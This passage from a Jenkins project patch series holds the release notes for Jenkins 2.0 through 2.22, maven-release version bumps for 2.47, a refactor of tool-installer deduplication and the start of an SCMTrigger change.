                                                                      • - Build history was not properly updating via AJAX. - (issue 31487) -
                                                                      • - Properly enable submit button on New Item page when choosing item type first. - (issue 36539) -
                                                                      -

                                                                      What's new in 2.22 (2016/09/11)

                                                                      -
                                                                        -
                                                                      • - Change symbol and constructor for SCMTrigger to pollScm to make it usable in Pipeline scripts. - (issue 37731) -
                                                                      • - Prompt user whether to add the job to the current view. - (issue 19142) -
                                                                      • - Update to sshd module 1.7, allowing definition of client idle timeout. - (pull 2534, - issue 36420) -
                                                                      • - Update to sezpoz 1.12 with better diagnostics. - (pull 2525) -
                                                                      • - Fix NullPointerException when descriptor is not in DescriptorList. - (issue 37997) -
                                                                      • - Use the correct 'gear' icon for Manage Jenkins in Plugin Manager. - (issue 34250) -
                                                                      -

                                                                      What's new in 2.21 (2016/09/04)

                                                                      -
                                                                        -
                                                                      • - Ask for confirmation before canceling/aborting runs. - (issue 30565) -
                                                                      • - Add newline after the text in userContent/readme.txt. - (PR #2532) -
                                                                      • - Fixed the missing icon in the System Script console. - (issue 37814) -
                                                                      • - Print warnings to system logs and administrative monitors - when Jenkins initialization does not reach the final milestone. - (issue 37874, - diagnostics for issue-37759) -
                                                                      • - Developer API: UpdateSite#getJsonSignatureValidator() can be now - overridden and used in plugins. - (PR #2532) -
                                                                      -

                                                                      What's new in 2.20 (2016/08/28)

                                                                      -
                                                                        -
                                                                      • - Make Cloud.PROVISION permission independent from Jenkins.ADMINISTER. - (issue 37616) -
                                                                      • - Allow the use of custom JSON signature validator for Update Site metadata signature checks. - (issue 36537) -
                                                                      • - Do not process null CRON specifications in build triggers. - (issue 36748, enhances fix in 2.15) -
                                                                      • - Setup wizard now checks if the restart is supported on the system before displaying the restart button. - (issue 33374) -
                                                                      • - Test Windows junctions before Java 7 symlink in symbolic link checks. - (issue 29956) -
                                                                      • - Fixed background color in the ComboBoxList element in order to make options visible. - (issue 37549) -
                                                                      • - Fixed editing default view description with automatic refresh. - System message is not being displayed instead of the view description. - (issue 37360) -
                                                                      • - Fixed process tree management logic on Solaris with 64-bit JVMs. - (issue 37559) -
                                                                      -

                                                                      What's new in 2.19 (2016/08/21)

                                                                      -
                                                                        -
                                                                      • - Prevent File descriptor leaks when reading plugin manifests. - It causes failures during the upgrade of detached plugins on Windows. - (issue 37332, regression in 2.16) -
                                                                      • - Prevent resource leaks in AntClassLoader being used in the core. - (issue 37561) -
                                                                      • - Fix the wrong message about empty field in the case duplicate item name in the New Item dialog. - (issue 34532) -
                                                                      • - Allow invoking Upgrade Wizard when Jenkins starts up. - It can be done by placing an empty jenkins.install.InstallUtil.lastExecVersion file - in JENKINS_HOME. - (issue 37438) -
                                                                      • - Replace repetitious "website" and "dependencies" text in the Setup Wizard by icons. - (issue 37523) -
                                                                      • - Expose Job name to system logs when Jenkins fails to create a new build with IllegalStateException. - (issue 33549) -
                                                                      • - Downgrade Queue#maintain() message for dead executors during task mapping - from INFO to FINE. - (PR #2510) -
                                                                      -

                                                                      What's new in 2.18 (2016/08/15)

                                                                      -
                                                                        -
                                                                      • - Better diagnostics and robustness against old ChangeLogAnnotator API usage in plugins. - Enhances JENKINS-23365 fix in 1.569. - (issue 36757) -
                                                                      • - Prevent open file leak when the agent channel onClose() listener writes to the already closed log. - (issue 37098) -
                                                                      • - Stop A/B testing of the remoting JNLP3 protocol due to the known issues. - The protocol can be enabled manually via the jenkins.slaves.JnlpSlaveAgentProtocol3.enabled - system property. - (issue 37315) -
                                                                      • - When checking Update Center, append ?uctest parameter to HTTP and HTTPS URLs only. - (issue 37189) -
                                                                      • - Incorrect formatting of messages in the Update Center and Setup Wizard. - (issue 36757) -
                                                                      • - Massive cleanup of issues reported by FindBugs. - User-visible issues - wrong log message formatting bugs in the Update Center and user creation logic. - (issue 36717, - PR #2459) -
                                                                      • - Remoting 2.61: JNLP Slave connection issue with JNLP3-connect - when the generated encrypted cookie contains a newline symbols. - (issue 37140) -
                                                                      • - Remoting 2.61: Retry loading classes when remote classloader gets interrupted. - (issue 36991) -
                                                                      • - Remoting 2.61: Improve diagnostics of Local Jar Cache write errors. - (remoting PR #91) -
                                                                      • - Remoting 2.62: Be robust against the delayed EOF command when unexporting input and output streams. - (issue 22853) -
                                                                      • - Remoting 2.62: Cleanup of minor issues discovered by FindBugs. - (remoting PR #96) -
                                                                      • - Remoting 2.62: Improve class filtering performance in remote invocations. - (issue 37218) -
                                                                      • - Remoting 2.62: TCP agent connection listener now publishes a list of supported agent protocols to speed up the connection setup. - (issue 37031) -
                                                                      • - Improve German, Lithuanian and Bulgarian translations. - (PR #2473, - PR #2470, - PR #2498 - ) -
                                                                      -

                                                                      What's new in 2.17 (2016/08/05)

                                                                      -
                                                                        -
                                                                      • - Don't load all builds to display the paginated build history widget. - (issue 31791) -
                                                                      • - Add diagnostic HTTP response to TCP agent listener. - (issue 37223) -
                                                                      • - Internal: Invoke FindBugs during core build. - (issue 36715) -
                                                                      -

                                                                      What's new in 2.16 (2016/07/31)

                                                                      -
                                                                        -
                                                                      • - Fix plugin dependency resolution. Jenkins will now refuse to load plugins with unsatisfied dependencies, which resulted in difficult to diagnose problems. This may result in errors on startup if your instance has an invalid plugin configuration., check the Jenkins log for details. - (issue 21486) -
                                                                      • - Decouple bouncycastle libraries from Jenkins into bouncycastle-api plugin. - (issue 36923) -
                                                                      • - Upgrade to instance-identity module 2.1. - (issue 36922) -
                                                                      • - Hide the Java Web Start launcher when the TCP agent port is disabled. - (issue 36996) -
                                                                      • - Allow admins to control the enabled agent protocols on their instance from the global security settings screen. - (issue 37032) -
                                                                      • - Make sure that the All view is created. - (issue 36908) -
                                                                      • - Remove trailing space from Hudson.DisplayName in Spanish, which resulted in problems with Blue Ocean. - (issue 36940) -
                                                                      • - Honor non-default update sites in setup wizard. - (issue 34882) -
                                                                      • - Display delete button only when build is not locked. - (pull 2483) -
                                                                      • - Use build start times instead of build scheduled times in build timeline widget. - (issue 36732) -
                                                                      • - Ensure that detached plugins are always at least their minimum version. - (issue 37041) -
                                                                      • - Internal: Move CLI commands wait-node-online/wait-node-offline from core to CLI module. - (issue 34915) -
                                                                      • - Internal: Allow accessing instance identity from core. - (issue 36871) -
                                                                      • - Internal: Fix the default value handling of ArtifactArchiver.excludes. - (issue 29922) -
                                                                      -

                                                                      What's new in 2.15 (2016/07/24)

                                                                      -
                                                                        -
                                                                      • - Tell browsers not to cache or try to autocomplete forms in Jenkins to prevent problems due to invalid data in form submissions. - From now on, only select form fields (e.g. job name) will offer autocompletion. - (issue 18435) -
                                                                      • - Add a cache for user information to fix performance regression due to SECURITY-243. - (issue 35493) -
                                                                      • - Prevent null pointer exceptions when not entering a cron spec for a trigger. - (issue 36748) -
                                                                      • - Defend against some fatal startup errors. - (issue 36666) -
                                                                      • - Use the icon specified by the computer implementation on its overview page. - (issue 36775) -
                                                                      • - Internal: Extract the CLI command offline-node from core. - (issue 34468) -
                                                                      -

                                                                      What's new in 2.14 (2016/07/17)

                                                                      -
                                                                        -
                                                                      • - Minor optimization in calculation of recent build stability health report. - (issue 36629) -
                                                                      • - Underprivileged users were unable to use the default value of a password parameter. - (issue 36476) -
                                                                      • - Allow keeping builds forever with custom build retention strategies. - (issue 26438) -
                                                                      • - Properly handle exceptions during global configuration form submissions when SCM Retry Count field is empty. - (issue 36387) -
                                                                      • - When a user aborts the build, this user may be restored after its deletion. - (issue 36594) -
                                                                      • - Prevent potential NullPointerException in the BlockedBecauseOfBuildInProgress build blockage cause visualization. - (issue 36592) -
                                                                      • - CLI commands quiet-down and cancel-quiet-down were extracted from the core to CLI. - (issue 35423) -
                                                                      • - Developer API: Extract listing of computer names to the ComputerSet#getComputerNames() method. - (issue 35423) -
                                                                      • - Developer API: Add a try with resources form of impersonation. - (issue 36494) -
                                                                      • - Developer API: Usage of ItemCategory#MIN_TOSHOW in external plugins is now restricted. - (issue 36593) -
                                                                      -

                                                                      What's new in 2.13 (2016/07/10)

                                                                      -
                                                                        -
                                                                      • - IllegalStateException under certain conditions when reloading configuration from disk while jobs are in the queue. - (issue 27530) -
                                                                      • - Eliminate “dead executor” UI appearing after certain errors, such as JENKINS-27530. - (PR 2440) -
                                                                      • - Make setup wizard installation panel usable on small screens. - (issue 34668) -
                                                                      -

                                                                      What's new in 2.12 (2016/07/05)

                                                                      -
                                                                        -
                                                                      • - Enable the DescriptorVisibilityFilters for ComputerLauncher, RetentionStrategy and NodeProperty. - (issue 36280) -
                                                                      • - Before starting a process, ensure that its working directory exists. - (issue 36277) -
                                                                      • - Prevent NullPointerException during SCM polling if SCMDecisionHandler returns null veto. - (issue 36232, regression in 2.11) -
                                                                      • - Ensure that SCMDescriptor.newInstance overrides are honored when creating new SCM entries. - (issue 36043, - issue 35906 - , regression in 2.10) -
                                                                      • - Performance: Improve configuration page load times by removing the CodeMirror reloading cycle. - (issue 32027) -
                                                                      • - Fix optional plugin dependency version resolution. - (issue 21486) -
                                                                      • - When creating a tar file, ensure that the final size does not exceed the value - in header in the case of growing files. - (Issue 20187) -
                                                                      • - Do not inject build variables into Maven process by default for new projects. - (issue 25416, - issue 28790) -
                                                                      • - Update BUILD_TAG environment variable description to mention the replacement of slashes with dashes. - (PR #2417) -
                                                                      • - Internal API: Make BulkChange auto-closeable. - (PR #2428) -
                                                                      -

                                                                      What's new in 2.11 (2016/06/26)

                                                                      -
                                                                        -
                                                                      • - Provide an extension point for SCM decisions such as whether to poll a specific job's backing - repository for changes. - (issue 36123) -
                                                                      -

                                                                      What's new in 2.10 (2016/06/19)

                                                                      -
                                                                        -
                                                                      • - Better exception message if a SecurityRealm returns null when loading a user. - (PR #2407) -
                                                                      • - Prevent NullPointerException in user registration if user ID is not specified. - (issue 33600) -
                                                                      • - Internal: It was impossible to build Jenkins on 32-bit Linux machine. - (issue 36052, regression from 2.0) -
                                                                      -

                                                                      What's new in 2.9 (2016/06/13)

                                                                      -
                                                                        -
                                                                      • - Always send usage statistics over HTTPs to the new usage.jenkins.io hostname. - (issue 35641) -
                                                                      • - Performance: Disable AutoBrowserHolder by default to improve the changelog rendering performance. - (issue 35098) -
                                                                      • - Remoting 2.60: Make the channel reader tolerant against Socket timeouts. - (issue 22722) -
                                                                      • - Remoting 2.60: Proper handling of the no_proxy environment variable. - (issue 32326) -
                                                                      • - Remoting 2.60: Do not invoke PingFailureAnalyzer for agent=>master ping failures. - (issue 35190) -
                                                                      • - Remoting 2.60: hudson.Remoting.Engine#waitForServerToBack now uses credentials for connection. - (issue 31256) -
                                                                      • - Remoting 2.60: Fix potential file handle leaks during the build agent (FKA slave) startup. - issue 35190) -
                                                                      • - Internal: Upgrade Groovy to 2.4.7 to finalize the fix in Jenkins 2.7. - (issue 34751) -
                                                                      • - API: Allow delegating TaskListener creation to build agent implementations. - (issue 34923) -
                                                                      • - API: Restrict external usages of jenkins.util.ResourceBundleUtil. - (issue 35381) -
                                                                      • - API: Make it easier for UpdateSites to tweak the InstallationJob. - (issue 35402) -
                                                                      -

                                                                      What's new in 2.8 (2016/06/05)

                                                                      -
                                                                        -
                                                                      • - Explicitly declare compatibility of Windows build agent service with .NET Framework 4. - (PR #2386) -
                                                                      • - API: Introduce new listener extension point for slave creation/update/deletion. - (issue 33780) -
                                                                      • - Lossless optimization sizes of PNG images in Jenkins. - (PR #2379) -
                                                                      • - Fix the repeatable item delete button layout in Safari. - Addresses Build Steps and other such configuration items. - (issue 35178) -
                                                                      • - Installation Wizard: Do not offer creating new admin user if the security is preconfigured. - (issue 34881) -
                                                                      • - Prevent NullPointerException on startup after update from Jenkins 2.5. - (issue 35206) -
                                                                      • - Honor noProxy settings from "Manage Jenkins > Manage Plugins > Advanced". - (issue 31915) -
                                                                      • - Add NTLM support - to the proxy validation logic. - (PR #1955) -
                                                                      -

                                                                      What's new in 2.7 (2016/05/29)

                                                                      -
                                                                        - -
                                                                      • - Prevent stack overflow when using classes with complex generic type arguments - (e.g. hudson.model.Run or hudson.model.Job). - Regression in Groovy 2.4, - see GROOVY-7826 for more info. - (issue 34751) -
                                                                      • - Do not invoke PingFailureAnalyzer for agent=>master ping failures. - (issue 35190) -
                                                                      • - Fix keyboard navigation in setup wizard. - (issue 33947) -
                                                                      • - Cleanup of Javascript issues discovered by the JSHint static analysis tool. - (issue 35020) -
                                                                      • - DelegatingComputerLauncher now accepts child classes in its hooks - (pre-offline, pre-connect, etc.). - (issue 35198) -
                                                                      • - Internal: Activate JSHint in Jenkins js-builder component during the core build. - (issue 34438) -
                                                                      • - Internal: Add symbol annotation for SystemInfoLink. - (PR #2375) -
                                                                      • - Internal: NodeJS build was malfunctioning on Win x64. - (issue 35201) -
                                                                      -

                                                                      What's new in 2.6 (2016/05/22)

                                                                      -
                                                                        -
                                                                      • - Adapt the Setup Wizard GUI to provide a similar user experience when upgrading Jenkins. - (issue 33663) - -
                                                                      • - Improve extensibility of the Setup Wizard GUI: - InstallState and InstallStateFilter extension points. - (PR 2281 as supplementary change for - issue 33663) -
                                                                      • - Improve User Experience in the New Item form. Submit button is always visible. - (issue 34244) -
                                                                      • - Allow passing a list of safe job parameters in ParametersAction. - It simplifies fixing of plugins affected by SECURITY-170 fix. - (PR 2353) -
                                                                      • - Added Symbol annotations for - ParametersDefinition and BuildDiscarder properties. - (PR 2358) -
                                                                      • - Extended the online-node CLI command for accepting multiple agents. - (issue 34531) -
                                                                      • - Listed Parameters should reflect what was used when the build ran (filtering of unsafe parameters). - (issue 34858) -
                                                                      • - Scalability: Fix performance issues in the XML unmarshalling code. - (issue 34888) -
                                                                      • - Support the legacy icon size specification approach in the Status Ball visualization. - (issue 25220, regression in 1.586) -
                                                                      • - Migrate the leftover system properties to the new engine introduced in 2.4. - (issue 34854) -
                                                                      • - Do not show warnings about a missing Tool Installer if it is present in at least one Update Site. - (issue 34880) -
                                                                      • - Prevent hanging of the installation wizard due to the plugin status update issue. - (issue 34708) -
                                                                      • - Internal: CLI command connect-node was extracted from the core to CLI. - (issue 31417) -
                                                                      -

                                                                      What's new in 2.5 (2016/05/16)

                                                                      -
                                                                        -
                                                                      • - Do not throw exceptions if Jenkins.getInstance() returns null instance. - It was causing failures on Jenkins agents in the case of unexpected API usage by agents. - (issue 34857, regression in 2.4) -
                                                                      • - Replace jenkins.model.Jenkins.disableExceptionOnNullInstance by - jenkins.model.Jenkins.enableExceptionOnNullInstance to address the - behavior change. - (issue 34857) -
                                                                      -

                                                                      What's new in 2.4 (2016/05/15)

                                                                      -
                                                                        -
                                                                      • - Internal/build: jenkins-ui (NPM module) is private, used only internally. - (issue 34629) -
                                                                      • - Do not print stack trace during a plugin installation if it is missing its dependencies. - (issue 34683) -
                                                                      • - Allow specifying custom AbortExceptions. - (pull 2288) -
                                                                      • - Add a hudson.model.UpdateCenter.defaultUpdateSiteId system property, - which allows specifying an alternate default Update Site ID. - (issue 34674) -
                                                                      • - Allow setting of properties from context.xml and web.xml - in addition to setting system properties from the command line. - (issue 34755) -
                                                                      • - Remove the historical initialization of CVS changelog parser for jobs without explicit SCM definition. - Warning! This change may potentially cause a regression if a Jenkins plugin depends on this default behavior and injects changelogs without SCM. - (issue 4610) -
                                                                      • - Add the JOB_BASE_NAME environment variable to builds (job name without path). - (issue 25164) -
                                                                      • - Allow overriding Jenkins UpdateCenter by a custom implementation. - (issue 34733) -
                                                                      • - Allow overriding Jenkins PluginManager by a custom implementation. - (issue 34681) -
                                                                      • - Installation Wizard: Allow altering the list of suggested plugins from update sites. - (issue 34833) -
                                                                      • - Prevent hanging of the Installation Wizard if the default Update Site ID cannot be resolved. - In such case an error message will be displayed. - (issue 34675) -
                                                                      • - Prevent hanging of the Installation Wizard if the internet check is skipped for the default update site. - (issue 34705) -
                                                                      • - Do not fail with error when enabling a plugin, which has been already enabled. - It prevents errors in the new Installation Wizard, which installs plugins in parallel. - (issue 34710) -
                                                                      • - Plugin Manager was building incorrect list of bundled plugins for nested dependencies. - (issue 34748) -
                                                                      • - Prevent fatal failure of the updates check PeriodicWork if update site certificate is missing. - (issue 34745) -
                                                                      • - Pick up missing Downloadable items on restart if all update centers are up to date. - (issue 32886) -
                                                                      • - Allow starting non-AbstractProject (e.g. Pipeline) jobs from CLI. - (issue 28071) -
                                                                      • - Disable JSESSIONID in URLs when running in the JBoss web container. - It prevents Error 404 due to invalid links starting from Jenkins 1.556. - More info: WFLY-4782 - (issue 34675) -
                                                                      • - Prevent RSS ID collisions for items with same name in different folders. - (issue 34767) -
                                                                      • - Prevent NoSuchMethodException in loginLink.jelly - when attempting to start a job using REST API. - (issue 31618) -
                                                                      • - Make ToolInstallers to follow HTTP 30x redirects. - (issue 23507) -
                                                                      • - Prevent NullPointerException in the parameter definition job property - if it gets initialized incorrectly. - (issue 34370) -
                                                                      • - Bundle Font Awesome and Google Fonts: Roboto dependencies - to prevent failures in the offline mode. - (issue 34628) -
                                                                      • - Internal: CLI commands disconnect-node and reload-configuration were extracted from the core to CLI. - (issue 34328 and - issue 31900) -
                                                                      • - Internal: Support latest source version to avoid compile time warnings with JDK7. - annotation-indexer and - sezpoz have been updated to 1.11. - (issue 32978) -
                                                                      • - Developer API: Switch Jenkins.getInstance() to @Nonnull. - (new system property) - (pull 2297) -
                                                                      • - Remoting, scalability: Ensure that the unexporter cleans up whatever it can each GC sweep. - (issue 34213) -
                                                                      • - Remoting: Force class load on UserRequest to prevent deadlocks on Windows nodes agents in the case of multiple classloaders. - (Controlled by hudson.remoting.RemoteClassLoader.force) - (issue 19445) -
                                                                      • - Remoting: Allow Jenkins admins to adjust the socket timeout. - (Controlled by hudson.remoting.Engine.socketTimeout) - (issue 34808) -
                                                                      • - Remoting: Allow disabling the remoting protocols individually. - Allows working around compatibility issues like - JENKINS-34121. - (Controlled by PROTOCOL_CLASS_NAME.disabled) - (issue 34819) -
                                                                      -

                                                                      What's new in 2.3 (2016/05/11)

                                                                      -
                                                                        -
                                                                      • - Important security fixes - (see the security advisory for details and plugin compatibility issues) -
                                                                      -

                                                                      What's new in 2.2 (2016/05/08)

                                                                      -
                                                                        -
                                                                      • - Add symbol annotations on core. - (pull 2293) -
                                                                      • - Upgrade Stapler to 1.243. - (pull 2298) -
                                                                      • - Internal/build: Enable JSHint during build. - (issue 34438) -
                                                                      • - Workaround for unpredictable Windows file locking. - (issue 15331) -
                                                                      • - Improved Lithuanian translation. - (pull 2309) -
                                                                      • - Improved French translation. - (pull 2308) -
                                                                      • - Restrict access to URLs related to plugin manager. - (issue 31611) -
                                                                      • - API: New HttpSessionListener extension point. - (pull 2303) - -
                                                                      • - Don't go through init sequence twice. - (pull 2177) -
                                                                      • - Create Item form can be navigated using keyboard again. - (issue 33822) -
                                                                      • - Fix inline help for node name field. - (issue 34601) -
                                                                      -

                                                                      What's new in 2.1 (2016/05/01)

                                                                      -
                                                                        -
                                                                      • - Enable disabled dependencies during plugin installations. - (issue 34494) -
                                                                      • - Force ordering between GPG and jarsigner to ensure correct GPG signature. - (pull 2285) -
                                                                      • - Secured Jenkins installations didn't properly save the queue on shutdown. - (issue 34281) - -
                                                                      • - Add dependency resolution to manually uploaded plugins. - (issue 15057) -
                                                                      • - Show Jenkins version on setup wizard. - (issue 33535) -
                                                                      • - Update remoting to 2.57. - (issue 33999) -
                                                                      • - Allow retrying plugin downloads in setup wizard. - (issue 33244) -
                                                                      • - Add links to homepage of plugins and dependencies in setup wizard. - (issue 33936, - issue 33937) -
                                                                      • - Improved handling of the 'close' button during setup wizard. - (issue 34137) -
                                                                      • - Wrong spacing in flat mode of 'Create Item' screen. - (issue 31162) -
                                                                      • - Add timestamp to the jarsigner signature. - (pull 2284) -
                                                                      • - Improved French translation. - (pull 2267) -
                                                                      • - Improved Lithuanian translation. - (pull 2286) -
                                                                      • - Improved Brazilian Portuguese translation. - (pull 2273) - -
                                                                      • - Prevent errors when hiding management links. - (issue 33683) -
                                                                      • - Internal: Make logger field private. - (issue 34093) -
                                                                      • - Shorter timeout for plugin downloads to prevent setup wizard from hanging. - (issue 34174) -
                                                                      • - Check if job is buildable before showing 'Build with parameters' page. - (issue 34146) -
                                                                      • - Fixed race condition in slave offline cause. - (issue 34448) -
                                                                      • - Allow enabling disabled dependencies in the plugin manager to fix broken configurations. - (issue 32340) -
                                                                      • - Always display clicked scrollspy items as active in setup wizard. - (issue 33948) -
                                                                      • - Prevent multiple installations of the same dependency. - (issue 33950) -
                                                                      - - -

                                                                      What's new in 2.0 (2016/04/20)

                                                                      -
                                                                      - More detailed information about the new features in Jenkins 2.0 on the overview page. -
                                                                      - -
                                                                        -
                                                                      • - New password-protected setup wizard shown on first run to guide users through installation of popular plugins and setting up an admin user. - (issue 30749, - issue 9598) -
                                                                      • - Plugin bundling overhaul: Bundled plugins are only installed if necessary when upgrading, all plugins can be uninstalled. - (issue 20617) -
                                                                      • - Redesigned job configuration form makes it easier to understand the option hierarchy, and to navigate the form. - (issue 32357) -
                                                                      • - Richer 'Create Item' form with job icons and job categories (once a threshold of three categories has been reached). - (issue 31162) - -
                                                                      • - Upgrade wizard encourages installation of Pipeline related plugins when upgrading from 1.x. - (issue 33662) -
                                                                      • - Jenkins now requires Servlet 3.1. Upgraded embedded Winstone-Jetty to Jetty 9 accordingly. - This removes AJP support when using the embedded Winstone-Jetty container. - (issue 23378) -
                                                                      • - Bundled Groovy updated from 1.8.9 to 2.4.6. - (issue 21249) -
                                                                      • - Added option to prohibit anonymous access to security realm "Logged in users can do anything", enable by default. - (issue 30749) -
                                                                      • - Renamed 'slave' to 'agent' on the UI. - (issue 27268) -
                                                                      • - Improvements to inline documentation of numerous form fields in Jenkins global and job configuration. - (issue 33364) -
                                                                      • - Change default CSRF protection crumb name to Jenkins-Crumb for nginx compatibility. - (issue 12875) - -
                                                                      • - Enforce correct icon size in list view. - (issue 33799) -
                                                                      • - CLI: Fixed NPE when non-existent run is requested. - (issue 33942) - -
                                                                      -

                                                                      -Older changelogs can be found in a separate file - - - +--> \ No newline at end of file -- GitLab From 39c45a064d65cae7e820a4506202a0c2c9f77b14 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 19 Feb 2017 13:57:51 -0800 Subject: [PATCH 804/811] [maven-release-plugin] prepare release jenkins-2.47 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 8602be3d7a..0d384beef2 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.47-SNAPSHOT + 2.47 cli diff --git a/core/pom.xml b/core/pom.xml index 20b2f50f40..45e12b4b9d 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.47-SNAPSHOT + 2.47 jenkins-core diff --git a/pom.xml b/pom.xml index d601a05b6f..6bac355781 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.47-SNAPSHOT + 2.47 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.47 diff --git a/test/pom.xml b/test/pom.xml index f5ffad6b3e..ae865943c6 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.47-SNAPSHOT + 2.47 test diff --git a/war/pom.xml b/war/pom.xml index 1a0b407f65..ba98b56a69 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.47-SNAPSHOT + 2.47 jenkins-war -- GitLab From 0e67ad4e7337fe8f9d16f40c1a552eb04d43bbaa Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 19 Feb 2017 13:57:51 -0800 Subject: [PATCH 805/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 0d384beef2..c0e005dfb5 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.47 + 2.48-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 45e12b4b9d..a41dc945f6 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.47 + 2.48-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 6bac355781..26c4c243a2 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.47 + 2.48-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.47 + HEAD diff --git a/test/pom.xml b/test/pom.xml index ae865943c6..a4d06805a0 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.47 + 2.48-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index ba98b56a69..290ab2a480 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.47 + 2.48-SNAPSHOT jenkins-war -- GitLab From 249dfb13be296b01b750497c0a93120200672508 Mon Sep 17 00:00:00 2001 From: Yoann Dubreuil Date: Fri, 17 Feb 2017 10:54:23 +0100 Subject: [PATCH 806/811] [JENKINS-42141] Fix performance issue in code merging Tool installer list --- .../tools/DownloadFromUrlInstaller.java | 42 ++++++------------- 1 file changed, 12 insertions(+), 30 deletions(-) diff --git a/core/src/main/java/hudson/tools/DownloadFromUrlInstaller.java b/core/src/main/java/hudson/tools/DownloadFromUrlInstaller.java index 5ad04e76ef..970308990f 100644 --- a/core/src/main/java/hudson/tools/DownloadFromUrlInstaller.java +++ b/core/src/main/java/hudson/tools/DownloadFromUrlInstaller.java @@ -10,6 +10,7 @@ import net.sf.json.JSONObject; import java.io.IOException; import java.util.Arrays; import java.util.Collections; +import java.util.HashSet; import java.util.LinkedList; import java.util.List; import java.net.URL; @@ -169,42 +170,23 @@ public abstract class DownloadFromUrlInstaller extends ToolInstaller { return false; } + /** + * Merge a list of ToolInstallerList and removes duplicate tool installers (ie having the same id) + * @param jsonList the list of ToolInstallerList to merge + * @return the merged ToolInstallerList wrapped in a JSONObject + */ private JSONObject reduce(List jsonList) { List reducedToolEntries = new LinkedList<>(); - //collect all tool installers objects from the multiple json objects + + HashSet processedIds = new HashSet(); for (JSONObject jsonToolList : jsonList) { ToolInstallerList toolInstallerList = (ToolInstallerList) JSONObject.toBean(jsonToolList, ToolInstallerList.class); - reducedToolEntries.addAll(Arrays.asList(toolInstallerList.list)); - } - - while (Downloadable.hasDuplicates(reducedToolEntries, "id")) { - List tmpToolInstallerEntries = new LinkedList<>(); - //we need to skip the processed entries - boolean processed[] = new boolean[reducedToolEntries.size()]; - for (int i = 0; i < reducedToolEntries.size(); i++) { - if (processed[i] == true) { - continue; - } - ToolInstallerEntry data1 = reducedToolEntries.get(i); - boolean hasDuplicate = false; - for (int j = i + 1; j < reducedToolEntries.size(); j ++) { - ToolInstallerEntry data2 = reducedToolEntries.get(j); - //if we found a duplicate we choose the first one - if (data1.id.equals(data2.id)) { - hasDuplicate = true; - processed[j] = true; - tmpToolInstallerEntries.add(data1); - //after the first duplicate has been found we break the loop since the duplicates are - //processed two by two - break; - } - } - //if no duplicate has been found we just insert the entry in the tmp list - if (!hasDuplicate) { - tmpToolInstallerEntries.add(data1); + for(ToolInstallerEntry entry : toolInstallerList.list) { + // being able to add the id into the processedIds set means this tool has not been processed before + if (processedIds.add(entry.id)) { + reducedToolEntries.add(entry); } } - reducedToolEntries = tmpToolInstallerEntries; } ToolInstallerList toolInstallerList = new ToolInstallerList(); -- GitLab From d0d9216f4fba8337f853aadf9853fb8dcc5cb1cf Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Mon, 20 Feb 2017 10:18:51 +0000 Subject: [PATCH 807/811] [FIXED JENKINS-42194] Do not display a warning when ignoring post-commit hooks --- .../main/java/hudson/triggers/SCMTrigger.java | 16 ++++++++++++++++ .../hudson/triggers/Messages.properties | 1 + .../hudson/triggers/SCMTrigger/config.jelly | 2 +- 3 files changed, 18 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/triggers/SCMTrigger.java b/core/src/main/java/hudson/triggers/SCMTrigger.java index 3f4e55c813..b8fa8ea420 100644 --- a/core/src/main/java/hudson/triggers/SCMTrigger.java +++ b/core/src/main/java/hudson/triggers/SCMTrigger.java @@ -72,10 +72,12 @@ import jenkins.util.SystemProperties; import net.sf.json.JSONObject; import org.apache.commons.io.FileUtils; import org.apache.commons.jelly.XMLOutput; +import org.apache.commons.lang.StringUtils; import org.jenkinsci.Symbol; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.DoNotUse; import org.kohsuke.accmod.restrictions.NoExternalUse; +import org.kohsuke.stapler.AncestorInPath; import org.kohsuke.stapler.DataBoundConstructor; import org.kohsuke.stapler.DataBoundSetter; import org.kohsuke.stapler.QueryParameter; @@ -358,6 +360,20 @@ public class SCMTrigger extends Trigger { return FormValidation.ok(); return FormValidation.validateNonNegativeInteger(value); } + + /** + * 